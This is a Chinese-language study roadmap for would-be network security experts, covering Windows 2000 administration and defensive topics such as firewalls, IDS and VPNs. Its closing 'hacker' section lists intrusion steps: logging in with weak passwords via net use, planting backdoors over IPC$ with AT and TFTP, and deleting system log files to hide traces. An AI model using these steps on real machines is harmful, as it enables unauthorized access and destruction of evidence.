基础
如何去学习 ·要有学习目标 ·要有学习计划 ·要有正确的心态 ·有很强的自学能力 学习目标 ·1.明确自己的发展方向(你现在或者将来要做什么,程序员?安全专家?网络***等) ·2.自己目前的水平和能力有多高 ·能简单操作windows2000 ·能简单配置windows2000的一些服务 ·能熟练的配置Windows2000的各种服务 ·能熟练配置win2000和各种网络设备联网 ·能简单操作Linux,Unix,Hp-unix, Solaris中的一种或者多种操作系统 ·能配置cicso,huawei,3com,朗迅等网络设备 ·会简单编写C/C++,Delphi,Java,PB,VB,Perl ·能简单编写Asp,Php,Cgi和script,shell脚本 ·3.必须学会不相信态度,尊重各种各样的能力 ·不要为那些装模做样的人浪费时间 ·尊重别人的能力, ·会享受提高自己能力的乐趣. ·在知道了自己的水平和能力之后就要开始自己的目标了 ·--------安全专家 ·--------*** ·--------高级程序员 ·***是建设网络,不是破坏网络, 破坏者是骇客; ·***有***的技术,但是他们是维护网络的,所以和安全专家是差不多的; ·因为懂得如何***才知道如何维护 ·因为懂得如何维护才更要了解如何*** ·这是 ***与安全专家的联系 ·但,他们都是在会编程的基础上成长的! ·下面我们开始我们的学习计划! 学习计划 有了学习计划才能更有效的学习 安全学习计划 不奢求对win98有多么精通,我们也不讲解win98如何应用,如何精通,我们的起步是win2000 s erver,这是我们培训的最低标准,你对英语有一定的了解也是必不可少 最基础 ·a.会装win2000,知道在安装的时候有两种分区格式,NTFS与FAT32 及他们的区别,知道win2 000可以在安装的时候分区,格式化硬盘, 可以定制安装,可以定制自己需要安装的一些组件 ,如果有网络适配器,可以直接加入域中 学习点:NTFS和FAT32分区的不同 各个组件的作用 域的定义 ·b.知道如何开,关机 知道注销的用处 ·c.知道win2000下面各主要目录的作用 Documents and Settings,WINNT,system32 Progra m Files ·d.知道管理工具里面各个组件的定义 ·e.学会应用命令提示符cmd(dos) ·f.知道计算机管理里面的各个选项的不同 ·g.知道win2000强大的网络管理功能 ·h.能非常熟练的操作win2000 ·i.知道IP地址,子网掩码,网关和MAC的区别 进阶 ·A.配置IIS,知道各个选项的作用 ·B.配置DNS,DHCP ·C.配置主控制域,辅助域 ·D.配置DFS ·E.配置路由和远程访问 ·F.配置安全策略IPSEC ·G.配置service(服务) ·H.配置磁盘管理,磁盘分额 ·i. 配置RAID(0,1,0+1,5) ·J.路由器的安装与简单配置 ·K.交换机的安装与简单配置 ·L.常见的×××,VLAN,NAT配置 ·M.配置常见的企业级防火墙 ·N.配置常见的企业级防病毒软件 高级 ·之前我们学到的是任何一个想成为网络安全专家和***基本知识中的一部分 ·你作到了吗?? ·如果你做到了,足以找到一份很不错的工作! 配置负载均衡 ·配置WIN2000+IIS+EXCHANGE+MSSQL+SERVER-U+负载均衡+ASP(PHP.CGI)+CHECK PIONT(ISA SERVER) · ·配置三层交换网络 · ·配置各种复杂的网络环境 ·能策划一个非常完整的网络方案 · ·能独自组建一个大型的企业级网络 · ·能迅速解决网络中出现的各种疑难问题 结束 ·在你上面的都学好了,你已经是一个高级人才了,也是我们VIP培训的目标! ·可以找到一份非常好的工作 ·不会再因为给女朋友买不起玫瑰而发愁了! 安全: 导读 ·系统安全服务(SYSTEM) ·防火墙系统(FIREWALL) ·***检测(IDS) ·身份验证(CA) ·网站监控和恢复(WEBSITE) ·安全电子商务(E-BUSINESS) ·安全电子邮件(E-MAIL) ·安全办公自动化(OA) ·Internet访问和监控(A&C) ·病毒防范(VIRUS) ·虚拟局域网(×××) 系统安全服务 ·系统安全管理 ·系统安全评估 ·系统安全加固 ·系统安全维护 ·安全技能学习 系统安全管理 ·信息系统安全策略 ·信息系统管理员安全手册 ·信息系统用户安全手册 ·紧急事件处理流程 系统安全评估 1、系统整体安全分析 · 分析用户的网络拓扑结构,以找出其结构性及网络 配置上存在的安全隐患。 · 通过考察用户信息设备的放置场地,以使得设备物理上是安全的。 · 分析用户信息系统的管理、使用流程,以使得系统 能够安全地管理、安全地使用 2、主机系统安全检测 · 通过对主机进行安全扫描,以发现系统的常见的安全漏洞。 · 对于特定的系统,采用特别的工具进行安全扫描。 · 根据经验,对系统存在的漏洞进行综合分析。 · 给出系统安全漏洞报告。 · 指出各个安全漏洞产生的原因以及会造成的危险。 · 给出修复安全漏洞的建议 3、网络设备安全检测 · 通过对网络进行安全扫描,以发现网络设备的安全漏洞。 · 根据经验,对网络设备存在的漏洞进行综合分析。 · 给出网络设备安全漏洞报告。 · 指出各个安全漏洞产生的原因以及会造成的险。 · 给出修复安全漏洞的建议。 安全系统加固 ·为用户系统打最新安全补丁程序。 ·为用户修复系统、网络中的安全漏洞。 ·为用户去掉不必要的服务和应用系统。 ·为用户系统设置用户权限访问策略。 ·为用户系统设置文件和目录访问策略。 ·针对用户系统应用进行相应的安全处理。 安全系统维护 ·防火墙系统维护,安全日志分析 ·IDS系统维护,安全日志分析 ·×××系统维护,安全日志分析 ·认证系统维护,安全日志分析 ·服务器、主机系统,安全日志分析 ·其它各类安全设施维护及日志分析 安全技能培训 ·网络安全基础知识 ·网络***手段演示和防范措施 ·防火墙的原理和使用 ·×××的原理和使用 ·漏洞扫描工具的原理和使用 ·IDS(***检测系统)的原理和使用 ·身份认证系统的原理和使用 ·防病毒产品的原理和使用 ·系统管理员安全培训 ·一般用户安全培训 防火墙系统 ·防火墙的定义 ·防火墙的分类 ·包过滤防火墙 ·应用网关防火墙 ·状态检测防火墙 ·一般企业防火墙配置 ·政府机构防火墙配置 ·涉密网络保密网关配置 ·高可用性和负载均衡防火墙系统 ·高速防火墙系统 防火墙的定义 ·用以连接不同信任级别网络的设备。 ·用来根据制定的安全规则对网络间的通信进行控制 防火墙的分类 ·包过滤 (Packet Filters) ·应用网关 (Application Gateways) ·状态检测(Stateful Inspection) 包过滤防火墙 ·包 过 滤 技 术 ·主要在路由器上实现,根据用户定义的内容(如IP地址、端口号)进行过滤。包过滤在网 络层进行包检查与应用无关。 · 优 点 · 具有良好的性能和可伸缩性。 · 缺点 · 由于包过滤技术是对应用不敏感的,无法理解特定通讯的含义,因而安全性很差。 应用网关防火墙 ·应用网关技术 ·第二代防火墙技术,其在应用的检查方面有了较大的改进,能监测所有应用层,同时对应 用“内容”(Content Information)的含义引入到了防火墙策略的决策处理。 · 优点 · 安全性比较高。 · 缺点 · 1、该方法对每一个请求都必须建立两个连接,一个从客户端到防火墙系统,另一个从 防火墙系统到服务器,这会严重影响性能。 · 2、防火墙网关暴露在***者之中。 · 3、对每一个代理需要有一个独立的应用进程或 daemon 来处理, 这样扩展性和支持 新应用方面存在问题。 检测状态防火墙 · 属第三代防火墙技术,克服了以上两种方法的缺点,引入了OSI全七层监测能力,同时 又能保持 Client/Server的体系结构,也即对用户访问是透明的。 · 防火墙能保护、限制其他用户对防火墙网关本身的访问。 · 状态检测技术在网络层截获数据包后交给INSPECT Engine,通过 INSPECT Engine 可以 从数据包中抽取安全决策所需的所有源于应用层中的状态相关信息,并在动态状态表中 维 持这些信息以提供后继连接的可能性预测。该方法能提供高安全性、高性能和扩展性、高伸 缩性的解决方案。 ***检测系统 ·处理***时遇到的典型问题 ·解决***的方法和手段 ·基于网络的***检测 ·基于主机的***检测 ·***检测系统典型配置 处理***时遇到的问题 ·获得的信息不足 ·不知到网络上发生了什么事。 ·无法判定系统是否已经被***。 ·信息不准确 ·人员少 ·没有足够的人员维护管理。 ·缺乏规范的处理程序 ·发现***时如何反应? ·下一步该如何处理? 解决***的方法和手段 ·采用***实时***监控系统(IDS) ·对系统、网络中发生的事件进行实时监控。 ·当发生***事件时能即时反应。 ·对***事件进行详细记录并跟踪。 基于主机的***检测 ·软件模块安装在包含有重要数据的主机上 ·监视操作系统的日志以发现***的特征。 ·监视代理所处主机上的所有进程和用户. ·监视暴力登录***(brute-force login), 试图改变或绕过安全设定,及特权的滥用等 。 ·当新的日志产生时,为了减小对CPU的影响,代理程序暂时中断。 基于网络的***检测 ·软件安装在专门的主机上,放置于关键的网段 ·将配置该软件主机的网卡设置为混杂模式,使得该主机能接受网段上所有的包。 ·分析数据包以判断是否有******。 ·监视网段上的所有数据。 ·对网络的流量无任何影响。 ·能检测到 denial of service attacks, unauthorized access attempts, pre-attack s cans等***。 身份认证系统 ·用户身份认证的方法 ·不同认证方法的安全级别 ·用户身份认证的常用方式 ·解决问题的方法 ·目前比较成熟的双因素认证方法 用户身份验证 ·你知道的一些东西 · 密码, ×××号,生日 ·你有的一些东西 · 磁卡, 智能卡,令牌, 钥匙 ·你独有的一些东西 · 指纹,声音,视网膜 密码是不安全的 ·可以破解密码的工具太多 ·大多密码在网络中是明文传输的 ·密码可以网络离线时被窥测 ·密码和文件从PC和服务器上被转移了 ·好记的密码容易被猜到,不易猜测的密码又太难记 解决方法 ·使用混合的工具:如IC卡+PIN 网站监控与恢复系统 ·典型的Web服务器应用 ·Web服务器存在的安全问题 ·网站安全解决方法 典型web服务器应用 ·Internet-->路由器-->防火墙-->web站点 · | · | · 内部网 ·所有的放在防火墙后面 Web服务器存在的安全问题 · 网页被非法篡改是网站内容提供者最头痛的问题。在采用防火墙后,Web服务器本身的漏 洞成为了网站被黑的主要问题。 · Web应用服务器(如IIS,Apache中存在着大量的安 全漏洞.) · 用户自己开发的CGI、ASP、PHP应用中存在着大量潜在的漏洞。 网站安全 ·采用Web服务器监控与恢复系统 ·该系统提供对网站文件内容的实时监控,发现被改动后立即报警并自动恢复。 电子商务安全系统 ·典型的电子商务应用 ·电子商务中存在的安全问题 ·电子商务的安全解决方法 ·实时数据交换系统 典型电子商务应用 ·Internet--->防火墙--->Web服务器 · || | · || | · 内部网(数据库) 电子商务中存在的安全问题 ·1、Web服务器端 ·Web应用服务器(如IIS、Apache中存在着大量的安全漏洞。用户自己开发的CGI、ASP、PH P应用中存在着潜在的漏洞。 · ***通过这些漏洞***Web服务器,可非法篡改网页,造成恶劣影响,动摇了电子商务使 用者的信心。 · 甚至可获得Web服务器上大量的敏感资料,如用户的信用卡号,用以连接内部数据库的帐 号和口令。 · 可能通过控制Web服务器,来***内部数据库。 电子商务中存在的安全问题 ·2、SSL协议 ·SSL加密强度低。由于浏览器默认的加密模块只支持40位的低强度加密,而且即使在浏览 器中安装更高位的加密模块,由于WEB服务器不提供对高位SSL链接的支持同样无法实现高强 度SSL加密链接。 · 无法解决电子商务中的用户签名。SSL链接建立WEB服务器和用户浏览器之间的安全通道 只能保证在安全通道内的信息不被窃听或篡改,并不能对用户发送的信息进行签名以保证信 息的有效性和不可抵赖性,而这正是电子商务中必须解决的问题。 电子商务的安全解决方法 ·将WEB服务器分为两部分:一般内容的WEB服务器和交易WEB服务器。 · 一般内容的WEB服务器放置在DMZ区内,采用WEB站点监控和恢复系统保护,防止主页被非 法改动。 · 交易WEB服务器放置在内部网内,通过一台物理分隔的实时数据交换系统将其与DMZ区相 连。 · 在客户机和服务器端安装SSL代理,从而获得128位的高强度加密通道 实时数据交换系统 ·将系统外部 Web服务器和内部应用Web服务器物理隔开. ·外部Web服务器用于存放一般的信息,内部Web服 务器用于存放敏感信息,并和内部数据 库连接。 ·外部用户通过http访问位于DMZ区内的一般Web服务器。 ·当进行交易时,用户需访问位于内部网内的应用服务器。 ·https连接首先到达实时数据交换系统的虚拟外部Web服务器,实时数据交换系统将https 协议解开,只将https连接的数据内容拷贝到虚拟内部Web服务器,虚拟内部Web服务器将使 用该数据重新发起https连接到实际的内部应用Web服务器. ·内外通过实时数据交换系统进行数据交换,无任何协议和连接穿过实时数据交换系统。 ·即使DMZ区的Web服务器受到***, ***者也的不到任何有用的信息 安全电子邮件系统 ·电子邮件的安全问题 ·安全电子邮件的解决方法 ·一个安全邮件的使用过程 电子邮件的安全问题 ·如何保证发送的敏感信息不被泄漏 ·如何保证发送的信息不被篡改 ·如何确认发件人的真实身份 ·如何防止发件人的抵赖行为 安全电子邮件的解决方法 ·将PKI体系应用到邮件系统中 ·邮件的加密和解密以实现数据的保密。 ·邮件的数字签名(鉴别)实现发件人认证和不可抵赖。 ·完整性校验功能防止信息传输过程中被篡改可靠的安全性。 ·采用公开密钥和对称密钥相结合的密钥体系。 ·支持128bit对称密钥算法和1024bit公开密钥算法。 办公自动化系统的安全问题 · 如何保证发送的敏感信息不被泄漏 · 如何保证发送的信息不被篡改 · 如何确认发件人的真实身份 · 如何防止发件人的抵赖行为 安全办公自动化系统的解决方法 ·将PKI体系应用到办公自动化系统中 ·工作流信息的加密和解密以实现数据保密 ·工作流信息的数字签名(鉴别)实现发件人认证和不可抵赖。 ·完整性校验功能防止信息传输过程中被篡改可靠的安全性。 ·采用公开密钥和对称密钥相结合的密钥体系 ·支持128bit对称密钥算法和1024bit公开密钥算法。 Internet访问及控制系统 ·Internet使用存在的问题 ·Internet使用的解决方法 ·内容缓存系统 ·Internet站点过滤系统 Internet访问存在的问题 ·Internet接入带宽不足,访问比较慢。 ·大量的用户访问相同的内容,造成带宽的进一步拥挤。 ·在上班时间里大量的Internet访问是与业务无关的。 ·有人使用公司的Internet系统访问×××网站。 ·有人使用公司的Internet系统访问反动站点。 ·管理人员无法知道Internet系统的使用情况。 Internet访问的解决方法 · 对于问题一,采用内容缓存系统。 · 对于问题二,采用Internet 站点过滤系统。 内容缓存系统 ·1、Client 发起http连接请求 ·2、Proxy 收到请求后将检查内部缓存内是否有所需内容,若有,则返还给Client。 ·3、若无,则Proxy根据请求向目的服务器发起请求。 ·4、Web服务器将内容返回到Proxy服务器。 ·5、Proxy服务器将得到的内容发回给Client,并在自己的缓存中保存一份。 Internet站点过滤系统 (一) ·1、Client 发起http连接请求 ·2、连接到达防火墙时防火墙将URL送到WebSense Server 检查。 ·3、WebSense 将审查结果返回到防火墙。 ·4、防火墙根据其策略决定是否让该连接通过。 Internet站点过滤系统 (二) ·1、Client 发起http连接请求 ·2、Proxy 受到请求后将URL送到WebSense Server检查。 ·3、Proxy根据返回的结果决定是否接收该连接请求。 病毒防范系统 · 互连网时代对防病毒系统的要求 · 计算机病毒解决方法 · 典型病毒防范系统部署 互联网时代对防病毒系统的要求 · 由于计算机的联网使用,使得病毒传播的途径大为增多:网络文件共享、电子邮件、Int ernet文件下载,传播速度也大为加快。 · 新病毒的出现速度加快,用户的防病毒软件的病毒特征码没能及时更新。 · 目前已出现了恶意的Java、ActiveX,当使用者浏览到包含这些代码的网页时,会造成安 全问题。 · 一些来历不明的电子邮件程序或下载的程序中带有特洛依***,可能会造成受害者的主 机被他人控制。 计算机病毒解决方法 · 从系统的观点考虑病毒的防范,在所有病毒传输的途径上均配置防病毒软件,如客户端 (Win98、 · Win2000)、文件服务器(NT、Netware)、邮件服务器(Exchange、Lotus Notes)、Internet接入系统(Proxy、Firewall)等。 · 整个病毒防范系统采用集中管理的方式,病毒特征码统一更新,安全策略集中设定,从 而使得整个网络系统的病毒特征码得到快速更新。 · 通过在客户端的浏览器和Proxy、Firewall中嵌入病毒检查软件,来防范下在程序中带有 的病毒和可能的恶意Java、ActiveX等可执行代码的***。 ×××(虚拟私有网) · 数据加密分类 · 物理线路加密 · 数据链路加密 · 网络层加密—IPSec · 传输层加密—SSL 数据加密类型 ·物理层->物理层 物理线路加密 ·数据链路层->数据链路层 (路由器访问) ·在数据链路层(如PPP)进行加密 L2TP、PPTP、L2F ·网络层->网络层(路由器 防火墙 主机) ·在网络层 (如IP)进行加密 IPSec ·传输层->传输层 (对TCP进行加密 SSL) ·应用层->应用层(在应用层 (如TCP)进行加密 S/MIME、SET、SSH) 物理线路加密 · DDN 加密机 · 帧中继加密机 · 异步拨号Modem · ISDN线路密码机 · ATM加密机 注:传输层加密 ·Secure Sockets Layer (SSL) 是一个端到端的Internet 安全协议,通过采用数字证书, 它提供了数据加密、身份认证的功能。SSL建立在传输层,它为客户机和服务器在应用级建 立起一个端到断的安全会话。 ·SSL代理—128位的高强度加密模块 结束语·恭喜你: ·学完这些并且可以熟练应用,已经是一个真正的网络安全专家了! ·希望此时的你旁边有个温柔稍有点调皮的女朋友,为这孤独而寂寞的网络添加一点跳动的 色彩! ***编: 必须要掌握的几个命令 ·Net ·netsh ·Ftp ·hostname ·Telenet(nc) ·tracert ·At ·Tftp ·Netstat ·Regedit ·Ping 必须要掌握的几个协议 ·http ·dns ·ftp ·Pop ·Smtp ·Icmp ·Udp ·tcp 开始 ·掌握了******的方式和手段后,那么学习***就简单多了! ·因为你掌握了这些,剩余的就是使用工具*** ·熟悉掌握一套自己用的***工具 高级 ·自己编写专用的***工具 ·自己发现系统漏洞 ******手段 ·收集信息: · 收集要***的目标信息 · IP,域名,端口,漏洞,位置 弱口令 ·在nt2000xp2003中弱口令可以用 ·Net use ip “password” /user:user ·如果目标机开3389服务,可以直接连接 ·在sql的sa弱口令,可以用sql连接器直接 ·登陆 后门*** ·如果有ipc$共享,可以copy过去***后门 ·用at启动 ·AT ip time /INTERACTIVE ·如果可以得到shell,也可以用tftp ·Tftp.exe –i ip get *.* *.* ·然后直接安装 ·如果有3389,可以自己建一个iis,下载 直接运行 密码破解 ·远程破解mysql,mssql,ftp,mail,共享密码 ·本地破解管理员(administrator)密码 缓冲溢出 ·可以用缓冲溢出***, ·比如流行的webdev,rdcom模块漏洞 ·可以直接得到system管理权限 ·缓冲溢出后的一般现象是: ·Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:WINNTsystem32> Web服务漏洞 ·例如: ·Unicode漏洞遍历磁盘和执行程序 ·二次编码漏洞遍历磁盘和执行程序 ·.HTR漏洞查看源代码 嗅探监听 ·例如: ·针对web监听 ·针对mail监听 ·工具如:sinffer , iris 欺骗*** ·例如: ·运用arp欺骗*** 伪装欺骗 ·常见的如:mail病毒 ·把一个文件改名字甚至图标,欺骗对方执行 社会工程学 ·例如: ·QQ聊天诱惑 ·EMAIL信息 ·电话 ·诱惑 拒绝服务 ·例如: ·Dos*** ·Ddos*** 利用跳板 ·利用自己的肉鸡作为跳板***别的机器 ·My PC------>跳板(肉鸡)--->目标 路由器漏洞 ·如: ·原始密码 ·程序漏洞 防火墙 ·利用欺骗***防火墙,导致防火墙功能失效 ·利用防火墙的模块漏洞 unix/linux ·NetWare Linux unix solais Solaris hp-unix Aix 等 ·这些目前先不讲解 精通***工具 ·必须有一套自己可以完全掌握的***工具 ·如端口扫描 Nscan,bluescanport ·监听工具:sinffer iris ·telnet工具:nc ·扫描工具:sss,nmap, LANguard ·后门工具:radmin,winshell ·密码破解:lc4 ·远程管理:pcanywhere ·会使用各种经典的***工具 清除日志 ·在你***机器以后,离开的时候,要完全清除 ·自己在那台机器上留下的痕迹 ·例如清除 ·Del C:WINNTsystem32LogFiles*.* ·Del C:WINNTsystem32*.log ·Del C:WINNTsystem32*.txt ·Del C:WINNT*.log ·Del c:winnt*.txt 如果你不清除日志 ·当目标机器的管理员发现你的证据 ·完全可以让你在大墙内渡过一段日子 *** ·当你完全掌握这些后 ·你就成为了一名小*** 高级 ·编写自己的***工具 ·发现系统漏洞 高级*** ·目前你足以成为一个高级***了 真正的*** ·精通各种网络协议 ·精通操作系统 ·精通编程技术 ·精通安全防护 ·不搞破坏 ·挑战技术难题